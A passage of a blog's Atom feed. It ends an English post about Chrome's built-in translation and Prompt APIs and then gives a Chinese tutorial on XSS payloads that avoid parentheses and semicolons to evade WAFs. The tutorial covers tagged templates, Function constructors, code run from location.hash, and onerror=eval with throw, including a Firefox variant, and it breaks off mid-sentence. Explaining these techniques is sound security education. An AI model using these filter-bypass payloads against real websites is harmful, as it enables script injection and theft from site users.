 <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Downloaded </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token punctuation">.</span>loaded <span class="token operator">*</span> <span class="token number">100</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>That monitor is used to track the download progress, and for translation, it can be downloaded quite quickly.</p><p>Once downloaded, you can translate with just one line of code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> translator<span class="token punctuation">.</span><span class="token function">translate</span><span class="token punctuation">(</span><span class="token string">'How are you?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>That’s it, super simple.</p><p>However, I tried it out, and the quality of the translation wasn’t very good; it still can’t compare to using a real large LLM model. But having this feature built directly into the Web API is already a significant improvement.</p><h2><span id="prompt-api">Prompt API</span></h2><p>In addition to the three mentioned at the beginning, there are also a few other APIs still in testing, such as the prompt API, which allows you to directly input prompts, similar to using ChatGPT and other APIs. Currently, to use it, you need to apply for an origin trial to get a key. I previously wrote about how to apply: <a href="https://blog.huli.tw/2022/02/02/en/origin-trials-try-new-feature/">Try New Features Early Through Chrome Origin Trials</a>.</p><p>I created a demo website; feel free to check it out. Since the prompt API model is quite large, it’s recommended to download it in a non-mobile network environment, otherwise, the data usage might spike.</p><p>Additionally, since this API is still in the testing phase, there may be some issues. At first, I had no problems playing around with it, but later it seemed I hit some bug, and every time I asked the AI, it would cause a system-level panic, causing my entire Mac to crash and restart.</p><p><a href="https://aszx87410.github.io/demo/ai/prompt-api.html">https://aszx87410.github.io/demo/ai/prompt-api.html</a></p><p>The usage of this API is also super simple. The first step is to check availability and download:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token function">updateProgress</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">updateStatus</span><span class="token punctuation">(</span><span class="token string">'✅ ready'</span><span class="token punctuation">,</span> <span class="token string">'available'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Once downloaded, you can use it:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> session <span class="token operator">=</span> <span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> response <span class="token operator">=</span> <span class="token keyword">await</span> session<span class="token punctuation">.</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">'What can you do?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>response<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>There are more parameters you can adjust, and it can support more complex conversations; the above is just a very basic example.</p><p>Although the model isn’t large and the capabilities are not as extensive as other large models, having a small model that can run locally in the browser can already offload some tasks that would otherwise require an API key.</p><p>Now Chrome is also increasingly proactive in packaging small models directly within, providing more native AI features, and in the future, developers can use these Web APIs to develop products without needing to prepare their own backend.</p><h2><span id="what-about-other-browsers">What about other browsers?</span></h2><p>The Translation API was officially released with Chrome 138, and Google has set related standards. However, Firefox and Safari are still in very early stages.</p><p>Firefox is currently <a href="https://github.com/mozilla/standards-positions/issues/1015">not very satisfied</a> with the API design and has proposed another <a href="https://github.com/mozilla/explainers/blob/main/translation.md">version</a>. Safari also has some privacy and security <a href="https://github.com/WebKit/standards-positions/issues/339">considerations</a> regarding the current approach, and it seems there hasn’t been much progress.</p><p>As for other more powerful APIs like the Prompt API, Firefox has given a <a href="https://github.com/mozilla/standards-positions/issues/1213#issuecomment-2950074313">negative</a> response to the current proposal, while there seems to be no news from Safari <a href="https://github.com/WebKit/standards-positions/issues/495">on that front</a>.</p><p>Therefore, the things mentioned in this article are currently only available in Chromium-based browsers like Chrome and Edge. Whether other browsers will catch up in the future remains uncertain.</p><h2><span id="conclusion">Conclusion</span></h2><p>The integration of various AI with existing products is imperative, and browsers, being applications that users heavily rely on, are a battleground for competition.</p><p>For example, Perplexity has launched a <a href="https://www.perplexity.ai/comet">Comet Browser</a>, and Chrome is increasingly incorporating built-in AI features.</p><p>If AI is not misleading me, the current Prompt API in Chrome uses <a href="https://ai.google.dev/gemma/docs">Gemma</a>, while Edge uses <a href="https://azure.microsoft.com/en-us/products/phi">Phi</a>.</p><p>As the AI models built into browsers evolve, the capabilities will expand. However, given the current situation, the models that can run locally are definitely very limited, as the available resources are constrained, and their performance is not as good as those large models. But it is worth keeping an eye on the future, as they should continue to evolve.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, a reader shared with me a Chrome extension he created: &lt;a href=&quot;https://github.com/Stevetanus/JPNEWS-helper/tree/main&quot;&gt;JP NEWS Helper&lt;/a&gt;, which can summarize and translate articles from NHK News Easy, helping to learn Japanese.&lt;/p&gt;
&lt;p&gt;Since this extension is open source, my first curiosity was: “Which AI service does it use, and how is the key handled?” After looking at the source code, I found out that it actually uses Chrome’s built-in Web API, not the HTTP API I had assumed.&lt;/p&gt;
&lt;p&gt;It was a bit of a late realization for me to discover that there are built-in Web APIs available, so I decided to write a short article to document it.&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>不需要括號跟分號的 XSS</title>
    <link href="https://blog.huli.tw/2025/09/15/xss-without-semicolon-and-parentheses/"/>
    <id>https://blog.huli.tw/2025/09/15/xss-without-semicolon-and-parentheses/</id>
    <published>2025-09-14T20:50:00.000Z</published>
    <updated>2025-09-15T05:40:39.109Z</updated>
    
    <content type="html"><![CDATA[<p>前陣子收到一封讀者來信，問我能不能寫一篇來講解 <a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a> 這篇文章，說是這裡面的 payload 看不太懂。</p><p>因此，這篇就來簡單講解一下這些 payload，參考的原文是 Gareth Heyes 的這兩篇文章：</p><ol><li><a href="https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses">XSS technique without parentheses</a></li><li><a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a></li></ol><span id="more"></span><h2><span id="為什麼我們需要這種-payload">為什麼我們需要這種 payload？</span></h2><p>有些人會想說既然都可以執行 JavaScript 了，幹嘛還要這麼多限制？而最大的原因是：WAF（Web Application Firewall），最常見的就是 Cloudflare 的 WAF，只要有一點風吹草動就把你擋下來，儘管你可以插入 HTML 或甚至執行 JavaScript，但只要含有某些 pattern 就直接把你擋掉。</p><p>再者，有些情境會造成部分字元不可用，這時候就需要發揮創意，想辦法不用這些字元來湊出可以執行的程式碼。</p><h2><span id="先從不需要括號開始">先從不需要括號開始</span></h2><p>在 JavaScript 中似乎要執行函式就一定要括號，那如果不能用括號該怎麼辦呢？</p><h3><span id="tagged-template-strings">Tagged template strings</span></h3><p>第一種方法有些開發者應該用過，但可能一時不會想到。某些 JavaScript 的 library 會用 template strings 來執行函式，如 <a href="https://github.com/porsager/postgres?tab=readme-ov-file#usage">Postgres.js</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">getUsersOver</span><span class="token punctuation">(</span><span class="token parameter">age</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> users <span class="token operator">=</span> <span class="token keyword">await</span> sql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">    select      name,      age    from users    where age > </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span> age <span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">  </span><span class="token template-punctuation string">`</span></span>  <span class="token comment">// users = Result [&#123; name: "Walter", age: 80 &#125;, &#123; name: 'Murray', age: 68 &#125;, ...]</span>  <span class="token keyword">return</span> users<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>不懂的人乍看之下會想說怎麼這樣寫，難道不是個 SQL injection 漏洞嗎？</p><p>如果只用了 template strings 的話，那確實是，但注意前面多了個 <code>sql</code>，這就不一樣了，就不只是單純的字串拼接，而是函式執行了，是一個 JavaScript 的語法，可以看底下範例：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>args<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'huli'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">!!!</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'good'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">~~</span><span class="token template-punctuation string">`</span></span><span class="token comment">// [['Hello ', '!!!', '~~'], 'huli', 'good']</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>當我們在前面加上一個函式時，函式的參數會收到原始字串中固定的部分，以及被插入的變數，就可以直接用這些資訊做 sanitization，來避免 SQL injection，這種用法叫做 tagged templates strings。</p><p>最後達成的效果就是看起來只是字串取代，但背後是函式執行而且有做 sanitization，所以其實是安全的。</p><p>利用這個概念，就可以寫出不需要括號的 XSS payload：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">alert<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">test</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>但有些人會問說，這樣的話就只能執行 alert 而已，有沒有辦法執行任意程式碼呢？例如說 fetch 好了，我如果想要 POST 的話，一定要用到第二個參數：<code>fetch(url, &#123; method:&#39;POST&#39;&#125;)</code>，而上面的方法第二個參數會是個陣列，因此 fetch 會報錯，就跑不動了。</p><p>針對這個問題，我們可以先利用 function constructor，傳入字串來建立一個函式，不熟這個的之後可以去讀：<a href="https://blog.huli.tw/2020/12/01/write-conosle-log-1-without-alphanumeric/">如何不用英文字母與數字寫出 console.log(1)？</a>或是<a href="https://blog.huli.tw/2021/06/07/xss-challenge-by-intigriti-writeup-may/">Intigriti’s 0521 XSS 挑戰解法：限定字元組合程式碼</a>，但我還是先簡單介紹一下。</p><p>在 JavaScript 中，可以用 <code>new Function(code)</code> 來動態建立出一個函式：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>而那個 new 其實不是必須的，拿掉也無妨。再者，動態建立的函式是可以傳參數的：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a) &#123; alert(a+1) &#125;</span><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'b'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+b)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a,b) &#123; alert(a+b) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>最後一個參數會被當作實際的程式碼，前面的都會被當成是函式的參數，並且回傳建立好的函式。</p><p>因此，我們可以利用這點搭配剛剛講的 tagged templates，從字串建立函式：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>那這個建立出來的函式，要怎麼執行呢？很簡單，再用一次相同作法就好：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 最後多加兩個 ``，就跟前面講過的 alert`1` 用法一樣</span><span class="token comment">// 怕 markdown parser 出錯，多加一個空格，但有沒有都一樣</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>因為裡面的 <code>alert(1)</code> 是字串，所以括號可以直接用 unicode 來取代，這也是合法的字串表示方法，會變成：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 其實就是 alert(1) 啦</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert\u00281\u0029</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>這樣整個 payload 就沒有用到任何括號，但又能執行任意程式碼了！</p><p>這個做法用到的是執行 template 時的第一個參數，也就是固定的部分，但我們也可以用到後面的參數。舉例來說：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span> <span class="token comment">// ['_', '']</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span> <span class="token comment">// hello</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>當我們同時傳入固定字串與參數時，第一個參數是所有固定的部分，這個剛提過了，而第二個參數則是我們動態傳入的變數 <code>hello</code>。</p><p>用上面的方法建立函式時，如同剛講過的，最後的參數會被當作 function body：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous(_,) &#123; hello &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>因此這個 <code>hello</code> 就是我們可以控制的部分了。因為它是動態傳入的，所以能玩的方法就很多了，可以搭配網站上我們能控制的地方。舉例來說，<code>location.hash</code> 會回傳 URL 上的 hash 如 <code>#test</code>，只要加上 slice(1) 就可以把前面的 # 去掉，結合起來就是：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 從剛剛講到的這個開始</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// 先換成 location.hash.slice(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// 把 slice(1) 換成 ``</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// 最後再加上 `` 執行函式</span><span class="token comment">// 記得把網站的 hash 弄成 #alert(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>就組出了一個不用括號但卻能執行任意程式碼的 payload，把實際要執行的字串放在 hash，動態去執行 hash 中的程式碼。</p><h3><span id="onerror-事件">onerror 事件</span></h3><p>前面寫這麼多其實還沒進入正題，開頭提的原文發現的是另外一種更巧妙的方法。</p><p>在瀏覽器環境中，利用 <code>window.onerror</code>，可以接收到所有沒有被 catch 的錯誤事件：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Err:'</span> <span class="token operator">+</span> err<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span class="token comment">// Err:Uncaught hello</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>話說上面這段程式碼直接在 DevTools 執行會不起作用（原因在原文有講到，在 console 直接執行時錯誤不會被丟到 onerror），請開一個 HTML 來測。</p><p>總之呢，上面的程式碼告訴我們在 Chrome 上，被捕捉到的錯誤訊息會是 <code>Uncaught hello</code>。</p><p>那如果我們直接把 <code>onerror</code> 換成 <code>alert</code> 呢？</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>你就會直接看到一個 <code>Uncaught hello</code> 的 popup。上面的 payload 是沒有用到任何括號的，也達成了執行函式的目的。</p><p>再進一步延伸，就是把 <code>onerror</code> 換成 <code>eval</code>，把錯誤訊息當成 JavaScript 程式碼來執行，但問題是換成 eval 之後，要怎麼湊出合法的程式碼？</p><p>由於被捕捉到的錯誤訊息會是：<code>Uncaught &#123;payload&#125;</code>，這整句會被當成是程式碼來執行，因此只要把 payload 換成：<code>=alert(1)</code>，整句就是：<code>Uncaught=alert(1)</code>，把錯誤訊息中的 <code>Uncaught</code> 當成是變數來用了，如此一來就是合法的程式碼：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>如果還是不知道原理的話，把 eval 換成 console.log 就很清楚了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> console<span class="token punctuation">.</span>log<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span class="token comment">// Uncaught =alert(1)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>再來，由於 throw 後面接的是字串，所以可以跟前面一樣用 encoding 來代替，用 <code>\x28</code> 或是 <code>\u0028</code> 都行：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert\x281\u0029'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>就湊出了一個不需要括號的 payload。</p><h2><span id="再省去分號">再省去分號</span></h2><p>Tagged template strings 已經不需要分號了，因此我們繼續沿著 onerror 這條路走，看看怎麼把分號省掉。</p><p>一個簡單直覺的想法是用逗號就好（為了方便舉例，底下都用 alert 了）：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>但跑了以後會發現報錯：<code>Uncaught SyntaxError: Unexpected token &#39;throw&#39;</code>，這是因為 throw 不是個 expression 而是 statement，因此不能放在逗號後面，我們需要別的方法。</p><p>在 JavaScript 中就算你沒有用 if 或其他需要區塊的程式碼，也可以自己用區塊把程式碼包起來：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>這在開發上是確實會用到的（儘管不多），用途就是刻意建立區塊並且搭配 <code>let</code> 或是 <code>const</code> 的關鍵字，讓變數只活在這個區塊裡。</p><p>只要利用區塊，就可以達成不用分號也能分隔程式碼的目的了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>onerror<span class="token operator">=</span>alert<span class="token punctuation">&#125;</span><span class="token keyword">throw</span> <span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>除了利用區塊以外，還有其他更酷炫的方法。</p><p>先來講一下 JavaScript 中逗號的用法，基本上就是串聯幾個 expression 並回傳最後一個的結果，如：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment">// 1</span><span class="token comment">// true</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>if</code> 中的表達式會依序執行 <code>console.log(1)</code>、<code>alert(1)</code> 最後回傳 true，因此 <code>if</code> 的結果成立，印出 true。</p><p>而 <code>throw</code> 後面可以接一個表達式，因此你可以：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>就會先執行 <code>onerror=alert</code>，再執行 <code>throw 1</code>，跟我們用 <code>&#123;&#125;</code> 的做法達成的效果是一樣的，這就是另外一種不需要分號的方法。</p><p>Chrome 的地方就到這裡結束了，接下來都是為了 Firefox 所做的努力。</p><p>在 Firefox 中有錯誤時，它錯誤訊息的格式不一樣：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token comment">// uncaught exception: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>在這個錯誤訊息之下，組不出來合法的程式碼，之前提的把 <code>onerror</code> 換成 <code>eval</code> 就沒用了。</p><p>於是 Gareth Heyes 就繼續深挖，發現了兩件事情。第一件事情是，如果 throw 一個 Error 而不是字串，錯誤訊息就不會有這些惱人的 prefix，只剩一個 <code>Error:</code>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// Error: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>由於 <code>Label:</code> 在 JavaScript 是個合法的程式碼，所以後面直接放程式碼就好，輕輕鬆鬆：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>但用了 <code>Error()</code> 的話就有括號了，而 Gareth Heyes 的第二個發現是，在 Firefox 上你可以 throw 一個 error-like object，也能達到相同效果：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">lineNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">columnNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">fileName</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">message</span><span class="token operator">:</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>總而言之呢，這些都是為了要控制 Firefox 